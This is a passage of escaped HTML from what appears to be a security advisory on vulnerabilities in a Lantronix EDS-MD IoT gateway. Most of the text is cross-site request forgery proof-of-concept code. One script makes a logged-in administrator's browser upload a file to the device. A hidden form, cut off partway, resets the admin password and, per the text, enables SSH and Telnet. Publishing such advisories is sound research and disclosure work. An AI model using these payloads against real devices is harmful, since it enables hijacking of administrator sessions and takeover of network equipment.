&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-2" name="rest_code_bfcfbebd22c748479dd1c696933aa068-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-2"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-3" name="rest_code_bfcfbebd22c748479dd1c696933aa068-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-3"&gt;&lt;/a&gt;The author of this code is not responsible for any damage caused by the use or misuse of this PoC exploit. This PoCs is intended for educational and research purposes only, and should never be used to target or exploit systems without explicit permission from the owner.
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-4" name="rest_code_bfcfbebd22c748479dd1c696933aa068-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-4"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-5" name="rest_code_bfcfbebd22c748479dd1c696933aa068-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-5"&gt;&lt;/a&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;submitRequest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-6" name="rest_code_bfcfbebd22c748479dd1c696933aa068-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-6"&gt;&lt;/a&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-7" name="rest_code_bfcfbebd22c748479dd1c696933aa068-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-7"&gt;&lt;/a&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;XMLHttpRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-8" name="rest_code_bfcfbebd22c748479dd1c696933aa068-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-8"&gt;&lt;/a&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http:\/\/192.168.183.43\/fs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-9" name="rest_code_bfcfbebd22c748479dd1c696933aa068-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-9"&gt;&lt;/a&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setRequestHeader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Type"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"multipart\/form-data; boundary=----WebKitFormBoundaryoD0vrnoSvVP2UbaB"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-10" name="rest_code_bfcfbebd22c748479dd1c696933aa068-10" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-10"&gt;&lt;/a&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;withCredentials&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-11" name="rest_code_bfcfbebd22c748479dd1c696933aa068-11" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-11"&gt;&lt;/a&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"------WebKitFormBoundaryoD0vrnoSvVP2UbaB\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-12" name="rest_code_bfcfbebd22c748479dd1c696933aa068-12" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-12"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"Content-Disposition: form-data; name=\"cwd\"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-13" name="rest_code_bfcfbebd22c748479dd1c696933aa068-13" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-13"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-14" name="rest_code_bfcfbebd22c748479dd1c696933aa068-14" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-14"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"/\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-15" name="rest_code_bfcfbebd22c748479dd1c696933aa068-15" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-15"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"------WebKitFormBoundaryoD0vrnoSvVP2UbaB\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-16" name="rest_code_bfcfbebd22c748479dd1c696933aa068-16" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-16"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"Content-Disposition: form-data; name=\"selectedfile\"; filename=\"test.txt\"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-17" name="rest_code_bfcfbebd22c748479dd1c696933aa068-17" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-17"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"Content-Type: text/plain\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-18" name="rest_code_bfcfbebd22c748479dd1c696933aa068-18" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-18"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-19" name="rest_code_bfcfbebd22c748479dd1c696933aa068-19" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-19"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"fooo\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-20" name="rest_code_bfcfbebd22c748479dd1c696933aa068-20" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-20"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"------WebKitFormBoundaryoD0vrnoSvVP2UbaB\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-21" name="rest_code_bfcfbebd22c748479dd1c696933aa068-21" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-21"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"Content-Disposition: form-data; name=\"iehack\"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-22" name="rest_code_bfcfbebd22c748479dd1c696933aa068-22" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-22"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-23" name="rest_code_bfcfbebd22c748479dd1c696933aa068-23" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-23"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-24" name="rest_code_bfcfbebd22c748479dd1c696933aa068-24" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-24"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"------WebKitFormBoundaryoD0vrnoSvVP2UbaB\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-25" name="rest_code_bfcfbebd22c748479dd1c696933aa068-25" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-25"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"Content-Disposition: form-data; name=\"submit\"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-26" name="rest_code_bfcfbebd22c748479dd1c696933aa068-26" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-26"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-27" name="rest_code_bfcfbebd22c748479dd1c696933aa068-27" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-27"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"Upload\r\n"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-28" name="rest_code_bfcfbebd22c748479dd1c696933aa068-28" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-28"&gt;&lt;/a&gt;&lt;span class="s2"&gt;"------WebKitFormBoundaryoD0vrnoSvVP2UbaB--\r\n"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-29" name="rest_code_bfcfbebd22c748479dd1c696933aa068-29" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-29"&gt;&lt;/a&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;aBody&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Uint8Array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-30" name="rest_code_bfcfbebd22c748479dd1c696933aa068-30" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-30"&gt;&lt;/a&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;aBody&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-31" name="rest_code_bfcfbebd22c748479dd1c696933aa068-31" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-31"&gt;&lt;/a&gt;&lt;span class="nx"&gt;aBody&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;charCodeAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-32" name="rest_code_bfcfbebd22c748479dd1c696933aa068-32" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-32"&gt;&lt;/a&gt;&lt;span class="nx"&gt;xhr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Blob&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;aBody&lt;/span&gt;&lt;span class="p"&gt;]));&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-33" name="rest_code_bfcfbebd22c748479dd1c696933aa068-33" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-33"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-34" name="rest_code_bfcfbebd22c748479dd1c696933aa068-34" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-34"&gt;&lt;/a&gt;&lt;span class="nx"&gt;submitRequest&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-35" name="rest_code_bfcfbebd22c748479dd1c696933aa068-35" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-35"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-36" name="rest_code_bfcfbebd22c748479dd1c696933aa068-36" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-36"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_bfcfbebd22c748479dd1c696933aa068-37" name="rest_code_bfcfbebd22c748479dd1c696933aa068-37" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_bfcfbebd22c748479dd1c696933aa068-37"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After an administrator who is currently logged-in on the Lantronix box on 192.168.183.43 (example IP address) visits the attacker's website, a new file was uploaded called &lt;code class="docutils literal"&gt;test.txt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Another example is the following code, which changes the administrator's password to "bbb" and enables SSH and Telnet:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code HTML"&gt;&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-1" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-1" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-1"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-2" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-2" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-2"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-3" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-3" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-3"&gt;&lt;/a&gt;The author of this code is not responsible for any damage caused by the use or misuse of this PoC exploit. This PoCs is intended for educational and research purposes only, and should never be used to target or exploit systems without explicit permission from the owner.
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-4" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-4" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-4"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;form&lt;/span&gt; &lt;span class="na"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://192.168.183.43/"&lt;/span&gt; &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-5" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-5" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-5"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"ajax"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"CliConfigPost"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-6" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-6" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-6"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;Cli&amp;amp;#46;Login&amp;amp;#95;Password"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"bbb"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-7" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-7" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-7"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;Cli&amp;amp;#46;Enable&amp;amp;#95;Level&amp;amp;#95;Password"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-8" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-8" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-8"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;Cli&amp;amp;#46;Quit&amp;amp;#95;Connect&amp;amp;#95;Line"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"&amp;amp;lt;control&amp;amp;gt;L"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-9" name="rest_code_c2f2ba8609f74c00a6637ee3f9510a78-9" href="https://www.pentagrid.ch/de/blog/multiple-vulnerabilties-in-lantronix-eds-md-iot-gateway/#rest_code_c2f2ba8609f74c00a6637ee3f9510a78-9"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"new&amp;amp;#95;Cli&amp;amp;#46;Inactivity&amp;amp;#95;Timeout"&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"15"&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
